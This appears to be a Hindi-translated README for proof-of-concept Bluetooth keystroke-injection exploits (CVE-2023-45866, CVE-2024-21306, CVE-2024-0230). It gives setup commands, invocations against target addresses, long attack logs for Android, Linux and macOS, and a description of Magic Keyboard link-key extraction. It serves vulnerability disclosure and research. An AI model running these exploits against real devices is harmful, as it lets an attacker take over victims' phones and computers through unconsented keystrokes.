
एमुलेटेड HID कीबोर्ड के माध्यम से Android, Linux, macOS और iOS को लक्षित करने वाले CVE-2023-45866, CVE-2024-21306 और CVE-2024-0230 के लिए ब्लूटूथ कीस्ट्रोक इंजेक्शन एक्सप्लॉइट PoCs।
इस रिपॉज़िटरी में CVE-2023-45866, CVE-2024-21306, और CVE-2024-0230 के लिए प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट्स हैं। अतिरिक्त विवरण ब्लॉग पोस्ट में पाए जा सकते हैं।
| प्रूफ ऑफ कॉन्सेप्ट | विवरण |
|---|---|
| एंड्रॉइड कीस्ट्रोक इंजेक्शन | किसी असुरक्षित एंड्रॉइड डिवाइस के साथ एक वर्चुअल ब्लूटूथ कीबोर्ड को फोर्स-पेयर करता है और 10 सेकंड के tab कीप्रेस इंजेक्ट करता है। |
| लिनक्स कीस्ट्रोक इंजेक्शन | किसी लिनक्स होस्ट के साथ एक वर्चुअल ब्लूटूथ कीबोर्ड को फोर्स-पेयर करता है और 10 सेकंड के tab कीप्रेस इंजेक्ट करता है। |
| macOS कीस्ट्रोक इंजेक्शन | किसी macOS होस्ट के साथ एक वर्चुअल ब्लूटूथ कीबोर्ड को फोर्स-पेयर करता है और वेब ब्राउज़र खोलने व Google खोज करने के लिए कीस्ट्रोक्स इंजेक्ट करता है। |
| iOS कीस्ट्रोक इंजेक्शन | किसी iOS होस्ट के साथ एक वर्चुअल ब्लूटूथ कीबोर्ड को फोर्स-पेयर करता है और वेब ब्राउज़र खोलने व किसी URL पर जाने के लिए कीस्ट्रोक्स इंजेक्ट करता है। |
| विंडोज़ कीस्ट्रोक इंजेक्शन | किसी विंडोज़ होस्ट के साथ एक वर्चुअल ब्लूटूथ कीबोर्ड को फोर्स-पेयर करता है और tab कीप्रेस इंजेक्ट करता है। |
| लाइटनिंग पोर्ट के माध्यम से मैजिक कीबोर्ड लिंक की | मैजिक कीबोर्ड के लाइटनिंग पोर्ट से ब्लूटूथ लिंक की पढ़ता है। |
| ब्लूटूथ के माध्यम से मैजिक कीबोर्ड लिंक की | मैजिक कीबोर्ड पर अप्रमाणित ब्लूटूथ HID सेवा से ब्लूटूथ लिंक की पढ़ता है। |
| मैक के USB पोर्ट के माध्यम से मैजिक कीबोर्ड लिंक की | USB के ज़रिए कीबोर्ड को उसके पेयर किए गए Mac के सामने स्पूफ करके लक्षित मैजिक कीबोर्ड के लिए ब्लूटूथ लिंक की पढ़ता है। |
स्क्रिप्ट्स Ubuntu 22.04 होस्ट पर Broadcom-आधारित ब्लूटूथ एडाप्टर के साथ काम करने के लिए जानी जाती हैं।
मैंने मुख्य रूप से यह एडाप्टर इस्तेमाल किया: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0
Ubuntu 22.04 की स्वच्छ स्थापना से शुरू करते हुए, निर्भरताओं को निम्नलिखित कमांडों के साथ स्थापित किया जा सकता है।```
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
एंड्रॉइड डिवाइस 2023-12-05 सुरक्षा पैच स्तर से पहले असुरक्षित हैं।
जब किसी बिना पैच वाले एंड्रॉइड डिवाइस पर ब्लूटूथ सक्षम होता है, तो एक हमलावर एक इम्यूलेटेड ब्लूटूथ कीबोर्ड को पेयर कर सकता है और उपयोगकर्ता की पुष्टि के बिना कीस्ट्रोक्स इंजेक्ट कर सकता है। यह एक ज़ीरो-क्लिक हमला है जो जब भी ब्लूटूथ सक्षम होता है, काम करता है।
यह भेद्यता एंड्रॉइड ~4.2.2 और बाद के संस्करणों को प्रभावित करती है।
इंटरफ़ेस hci1 का उपयोग करके एंड्रॉइड डिवाइस 5C:F3:70:AA:07:BD को लक्षित करते हुए PoC चलाएं।```
./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
सफल होने पर, PoC 10 सेकंड के लिए `tab` कीस्ट्रोक्स का पेलोड इंजेक्ट करेगा।
#### उदाहरण आउटपुट```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329] executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959] configuring Bluetooth adapter
[2024-01-07 11:03:01.963] calling RegisterProfile
[2024-01-07 11:03:01.966] running dbus loop
[2024-01-07 11:03:02.096] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108] executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141] executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144] executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877] connecting to SDP
[2024-01-07 11:03:02.877] connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832] SUCCESS! connected on port 1
[2024-01-07 11:03:03.832] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858] connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864] connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932] SUCCESS! connected on port 17
[2024-01-07 11:03:04.932] connecting to HID Interrupt
[2024-01-07 11:03:04.932] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008] SUCCESS! connected on port 19
[2024-01-07 11:03:05.008] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009] [RX-17] 9000
[2024-01-07 11:03:05.009] [TX-17] 00
[2024-01-07 11:03:05.065] [RX-19] a20101
[2024-01-07 11:03:05.259] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259] injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436] [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261] [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321] taking 'hci1' offline
ब्लूज़ 5 चलाने वाले लिनक्स होस्ट लगभग दिसंबर 2023 में पैच जारी होने से पहले संवेदनशील हैं। विशिष्ट संस्करण संख्याएँ लिनक्स वितरण पर निर्भर करती हैं।
जब कोई बिना पैच वाला लिनक्स होस्ट ब्लूटूथ पर खोजने योग्य और कनेक्ट होने योग्य होता है, तो एक हमलावर बिना उपयोगकर्ता की पुष्टि के एक एमुलेटेड ब्लूटूथ कीबोर्ड को पेयर कर सकता है और कीस्ट्रोक इंजेक्ट कर सकता है। यह एक ज़ीरो-क्लिक हमला है जो जब भी होस्ट खोजने योग्य और कनेक्ट होने योग्य होता है, काम करता है।
माना जाता है कि यह भेद्यता BlueZ 5 की डिफ़ॉल्ट कॉन्फ़िगरेशन का उपयोग करने वाले बिना पैच वाले लिनक्स वितरणों को प्रभावित करती है।
Google का कहना है कि ChromeOS इस भेद्यता से प्रभावित नहीं था, और हालाँकि इस शोध के हिस्से के रूप में ChromeOS का परीक्षण नहीं किया गया था, फिर भी उनका BlueZ कॉन्फ़िगरेशन इस हमले को रोकता हुआ प्रतीत होता है।
प्रभावित वितरणों में Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto और Amazon Linux शामिल हैं। कई रिलीज़ प्रभावित हो सकती हैं, और उदाहरण के लिए, Ubuntu ने 16.04, 18.04, 20.04, 22.04, 23.04 और 23.10 को पैच किया।
इंटरफ़ेस hci1 का उपयोग करके लिनक्स होस्ट 58:28:39:E6:AE:1C को लक्षित करते हुए PoC चलाएँ।```
./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
सफल होने पर, PoC 10 सेकंड के लिए `tab` कीस्ट्रोक्स का पेलोड इंजेक्ट करेगा।
#### उदाहरण आउटपुट```
> ./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
[2024-01-07 11:00:08.955] executing 'sudo service bluetooth restart'
[2024-01-07 11:00:09.586] configuring Bluetooth adapter
[2024-01-07 11:00:09.590] calling RegisterProfile
[2024-01-07 11:00:09.595] running dbus loop
[2024-01-07 11:00:09.725] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:00:09.738] executing 'hciconfig hci1 name'
[2024-01-07 11:00:09.759] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:00:09.771] executing 'hciconfig hci1 class'
[2024-01-07 11:00:09.774] executing 'hcitool name 58:28:39:E6:AE:1C'
[2024-01-07 11:00:10.399] connecting to SDP
[2024-01-07 11:00:10.400] connecting to 58:28:39:E6:AE:1C on port 1
[2024-01-07 11:00:12.984] SUCCESS! connected on port 1
[2024-01-07 11:00:12.984] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:00:12.992] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:00:13.001] connected to SDP (L2CAP 1) on target
[2024-01-07 11:00:13.011] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:00:13.253] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.020] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.020] connecting to 58:28:39:E6:AE:1C on port 17
[2024-01-07 11:00:15.296] SUCCESS! connected on port 17
[2024-01-07 11:00:15.296] connecting to HID Interrupt
[2024-01-07 11:00:15.296] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.296] [RX-17] 15
[2024-01-07 11:00:15.500] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.500] connecting to HID Interrupt
[2024-01-07 11:00:15.501] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.636] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.636] connecting to HID Interrupt
[2024-01-07 11:00:15.638] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.764] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.764] connecting to HID Interrupt
[2024-01-07 11:00:15.766] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.784] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.784] connecting to HID Interrupt
[2024-01-07 11:00:15.785] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.832] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.832] connecting to HID Interrupt
[2024-01-07 11:00:15.833] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.880] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.880] connecting to HID Interrupt
[2024-01-07 11:00:15.881] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.160] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:16.160] connecting to HID Interrupt
[2024-01-07 11:00:16.161] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.300] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:16.300] connecting to HID Interrupt
[2024-01-07 11:00:16.301] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.580] SUCCESS! connected on port 19
[2024-01-07 11:00:16.580] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:00:16.580] connecting to HID Control
[2024-01-07 11:00:16.580] connecting to 58:28:39:E6:AE:1C on port 17
[2024-01-07 11:00:16.859] SUCCESS! connected on port 17
[2024-01-07 11:00:16.860] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:00:16.860] [RX-17] 4190
[2024-01-07 11:00:16.860] [TX-17] 00
[2024-01-07 11:00:17.110] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.110] injecting Tab keypresses for 10 seconds
[2024-01-07 11:00:17.111] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.115] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.170] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.174] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.229] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.233] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.288] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.292] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.347] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.352] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.406] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.410] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.465] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.469] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.524] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.528] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.583] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.587] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.642] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.646] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.701] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.705] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.759] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.764] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.818] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.823] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.877] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.882] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.936] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.941] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.995] [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.000] [TX-19] a101000000000000000000
[2024-01-07 11:00:18.054] [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.059] [TX-19] a101000000000000000000
[2024-01-07 11:00:18.113] [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.118] [TX-19] a101000000000000000000
[2024-01-07 11:00:18.172] [TX-19] a10100002b000000000000
...
[2024-01-07 11:00:27.102] [TX-19] a101000000000000000000
[2024-01-07 11:00:27.157] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:00:27.157] taking 'hci1' offline
जब एक Mac ब्लूटूथ पर पेयर किए गए Magic Keyboard से कनेक्ट करने का प्रयास कर रहा होता है, तो एक हमलावर Mac के लिए Magic Keyboard को स्पूफ कर सकता है, एक वर्चुअल ब्लूटूथ कीबोर्ड को पेयर कर सकता है, और उपयोगकर्ता की पुष्टि के बिना कीस्ट्रोक इंजेक्ट कर सकता है।
इस हमले में एक टाइमिंग घटक होता है, जहाँ हमलावर को Mac से उस सटीक क्षण में कनेक्ट करना होता है जब Mac Magic Keyboard से कनेक्ट करने का प्रयास करता है।
शामिल PoC तब सक्रिय होता है जब एक Magic Keyboard को उसके Mac से अनप्लग किया जाता है (जैसे चार्जिंग या पेयरिंग के बाद)। PoC Mac पर ब्लूटूथ SDP सेवा को साइड-चैनल के रूप में उपयोग करता है ताकि अनप्लग ईवेंट का निरीक्षण कर सके और हमले को ट्रिगर कर सके। यह एक ज़ीरो-क्लिक हमला है जिसके लिए Mac से Magic Keyboard को अनप्लग होते देखना आवश्यक है।
./keystroke-injection-macos.py --help usage: keystroke-injection-macos.py [-h] -i INTERFACE -t TARGET_ADDRESS -k KEYBOARD_ADDRESS
options: -h, --help show this help message and exit -i INTERFACE, --interface INTERFACE -t TARGET_ADDRESS, --target_address TARGET_ADDRESS -k KEYBOARD_ADDRESS, --keyboard_address KEYBOARD_ADDRESS
##### आह्वान```
./keystroke-injection-macos.py -i hci1 -t 50:DE:06:A8:E1:CA -k 1C:57:DC:88:55:02
[2024-01-07 12:25:43.777] executing 'sudo service bluetooth restart' [2024-01-07 12:25:44.324] configuring Bluetooth adapter [2024-01-07 12:25:44.461] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard' [2024-01-07 12:25:44.474] executing 'hciconfig hci1 name' [2024-01-07 12:25:44.493] executing 'sudo hciconfig hci1 class 0x002540' [2024-01-07 12:25:44.506] executing 'hciconfig hci1 class' [2024-01-07 12:25:44.509] executing 'sudo bdaddr -i hci1 1C:57:DC:88:55:02' [2024-01-07 12:25:44.649] executing 'hciconfig hci1' [2024-01-07 12:25:44.652] connecting to SDP [2024-01-07 12:25:44.652] connecting to 50:DE:06:A8:E1:CA on port 1 [2024-01-07 12:25:45.776] SUCCESS! connected on port 1 [2024-01-07 12:25:45.776] executing 'sudo btmgmt --index hci1 io-cap 1' [2024-01-07 12:25:45.788] executing 'sudo btmgmt --index hci1 ssp 1' [2024-01-07 12:25:45.795] connected to SDP (L2CAP 1) on target [2024-01-07 12:25:45.795]
[2024-01-07 12:25:46.014] b'HCI sniffer - Bluetooth packet analyzer ver 5.64\n' [2024-01-07 12:25:46.015] b'device: hci1 snap_len: 1500 filter: 0xffffffffffffffff\n' [2024-01-07 12:25:46.017] b'> HCI Event: Number of Completed Packets (0x13) plen 5\n' [2024-01-07 12:25:46.018] b' handle 11 packets 1\n' [2024-01-07 12:25:47.296] b'> ACL data: handle 11 flags 0x02 dlen 12\n' [2024-01-07 12:25:47.297] b' L2CAP(s): Connect req: psm 1 scid 0x0506\n' [2024-01-07 12:25:47.337] connecting to HID Control [2024-01-07 12:25:47.337] connecting to 50:DE:06:A8:E1:CA on port 17 [2024-01-07 12:25:47.788] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 12:25:47.788] connecting to HID Control [2024-01-07 12:25:47.799] connecting to 50:DE:06:A8:E1:CA on port 17 [2024-01-07 12:25:47.908] SUCCESS! connected on port 17 [2024-01-07 12:25:47.908] connected to HID Control (L2CAP 17) on target [2024-01-07 12:25:47.908] connecting to HID Interrupt [2024-01-07 12:25:47.908] connecting to 50:DE:06:A8:E1:CA on port 19 [2024-01-07 12:25:47.976] SUCCESS! connected on port 19 [2024-01-07 12:25:47.976] connected to HID Interrupt (L2CAP 19) on target [2024-01-07 12:25:47.976] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.012] [RX-17] 71 [2024-01-07 12:25:48.013] [TX-17] 00 [2024-01-07 12:25:48.048] [RX-17] 53c601180121 [2024-01-07 12:25:48.048] [TX-17] 00 [2024-01-07 12:25:48.084] [RX-17] 53ffbb [2024-01-07 12:25:48.084] [TX-17] 00 [2024-01-07 12:25:48.116] [RX-17] 43f0 [2024-01-07 12:25:48.116] [TX-17] 00 [2024-01-07 12:25:48.159] [RX-17] 53ff90 [2024-01-07 12:25:48.160] [TX-17] 00 [2024-01-07 12:25:48.192] [RX-17] 41f0 [2024-01-07 12:25:48.192] [TX-17] 00 [2024-01-07 12:25:48.228] [RX-17] 53ff34 [2024-01-07 12:25:48.228] [TX-17] 00 [2024-01-07 12:25:48.265] [RX-17] 43f0 [2024-01-07 12:25:48.265] [TX-17] 00 [2024-01-07 12:25:48.296] [RX-17] 53ff90 [2024-01-07 12:25:48.296] [TX-17] 00 [2024-01-07 12:25:48.308] [RX-17] 41f0 [2024-01-07 12:25:48.309] [TX-17] 00 [2024-01-07 12:25:48.344] [RX-17] 53ffe0 [2024-01-07 12:25:48.344] [TX-17] 00 [2024-01-07 12:25:48.376] [RX-17] 43f0 [2024-01-07 12:25:48.376] [TX-17] 00 [2024-01-07 12:25:48.413] [RX-17] 53ff14 [2024-01-07 12:25:48.413] [TX-17] 00 [2024-01-07 12:25:48.456] [RX-17] 43f0 [2024-01-07 12:25:48.456] [TX-17] 00 [2024-01-07 12:25:48.492] [RX-17] 53ffc5 [2024-01-07 12:25:48.493] [TX-17] 00 [2024-01-07 12:25:48.528] [RX-17] 43f0 [2024-01-07 12:25:48.528] [TX-17] 00 [2024-01-07 12:25:48.572] [RX-17] 53ff02 [2024-01-07 12:25:48.573] [TX-17] 00 [2024-01-07 12:25:48.607] [RX-17] 43f1 [2024-01-07 12:25:48.608] [TX-17] 00 [2024-01-07 12:25:48.644] [RX-19] a2f10100 [2024-01-07 12:25:48.645] injecting payload [2024-01-07 12:25:48.645] [TX-19] a1010800e32c0000000000 [2024-01-07 12:25:48.646] [RX-19] a2f10100 [2024-01-07 12:25:48.647] [RX-19] a2f10100 [2024-01-07 12:25:48.649] [RX-19] a2f10100 [2024-01-07 12:25:48.650] [RX-19] a2f10100 [2024-01-07 12:25:48.653] [RX-17] 53ff03 [2024-01-07 12:25:48.653] [TX-17] 00 [2024-01-07 12:25:48.680] [RX-17] 43f1 [2024-01-07 12:25:48.680] [TX-17] 00 [2024-01-07 12:25:48.896] [TX-19] a101000017000000000000 [2024-01-07 12:25:48.900] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.905] [TX-19] a101000008000000000000 [2024-01-07 12:25:48.909] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.914] [TX-19] a101000015000000000000 [2024-01-07 12:25:48.918] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.922] [TX-19] a101000010000000000000 [2024-01-07 12:25:48.927] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.931] [TX-19] a10100000c000000000000 [2024-01-07 12:25:48.936] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.940] [TX-19] a101000011000000000000 [2024-01-07 12:25:48.944] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.949] [TX-19] a101000004000000000000 [2024-01-07 12:25:48.953] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.958] [TX-19] a10100000f000000000000 [2024-01-07 12:25:48.962] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.966] [TX-19] a101000028000000000000 [2024-01-07 12:25:48.971] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.225] [TX-19] a101010006e00000000000 [2024-01-07 12:25:49.230] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.234] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.239] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.244] [TX-19] a101000013000000000000 [2024-01-07 12:25:49.248] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.252] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.256] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.261] [TX-19] a101000011000000000000 [2024-01-07 12:25:49.265] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.269] [TX-19] a10100002c000000000000 [2024-01-07 12:25:49.274] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.278] [TX-19] a101020034e10000000000 [2024-01-07 12:25:49.283] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.287] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.291] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.296] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.300] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.304] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.309] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.313] [TX-19] a101000013000000000000 [2024-01-07 12:25:49.318] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.322] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.327] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.331] [TX-19] a101020033e10000000000 [2024-01-07 12:25:49.335] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.340] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.344] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.349] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.353] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.358] [TX-19] a10100000a000000000000 [2024-01-07 12:25:49.362] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.367] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.371] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.376] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.380] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.385] [TX-19] a10100000a000000000000 [2024-01-07 12:25:49.389] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.393] [TX-19] a10100000f000000000000 [2024-01-07 12:25:49.398] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.402] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.407] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.411] [TX-19] a101000037000000000000 [2024-01-07 12:25:49.416] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.420] [TX-19] a101000006000000000000 [2024-01-07 12:25:49.424] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.429] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.433] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.438] [TX-19] a101000010000000000000 [2024-01-07 12:25:49.442] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.447] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.451] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.455] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.460] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.464] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.468] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.473] [TX-19] a101000004000000000000 [2024-01-07 12:25:49.477] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.482] [TX-19] a101000015000000000000 [2024-01-07 12:25:49.486] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.491] [TX-19] a101000006000000000000 [2024-01-07 12:25:49.495] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.499] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.504] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.508] [TX-19] a101020038e10000000000 [2024-01-07 12:25:49.513] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.517] [TX-19] a101000014000000000000 [2024-01-07 12:25:49.522] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.526] [TX-19] a10100002e000000000000 [2024-01-07 12:25:49.531] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.535] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.540] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.544] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.549] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.553] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.558] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.562] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.567] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.571] [TX-19] a10102002ee10000000000 [2024-01-07 12:25:49.576] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.580] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.585] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.589] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.593] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.598] [TX-19] a10102002ee10000000000 [2024-01-07 12:25:49.602] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.607] [TX-19] a101000009000000000000 [2024-01-07 12:25:49.611] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.616] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.620] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.625] [TX-19] a101000011000000000000 [2024-01-07 12:25:49.629] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.633] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.638] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.642] [TX-19] a101020034e10000000000 [2024-01-07 12:25:49.646] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.651] [TX-19] a101000028000000000000 [2024-01-07 12:25:49.655] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.760] payload has been transmitted; disconnecting Bluetooth HID client [2024-01-07 12:25:49.761] taking 'hci1' offline
## लिंक कुंजी निष्कर्षण
### Magic Keyboard लिंक कुंजी लाइटनिंग पोर्ट के माध्यम से
जब Magic Keyboard को Mac में प्लग किया जाता है, तो Mac Bluetooth link key को USB के माध्यम से Magic Keyboard पर भेजता है।
लिंक कुंजी तब तक मेमोरी में रहती है जब तक Magic Keyboard बंद नहीं होता, और इसे कीबोर्ड पर लगे लाइटनिंग पोर्ट तक पहुंच रखने वाला हमलावर पढ़ सकता है।
#### प्रभावित संस्करण
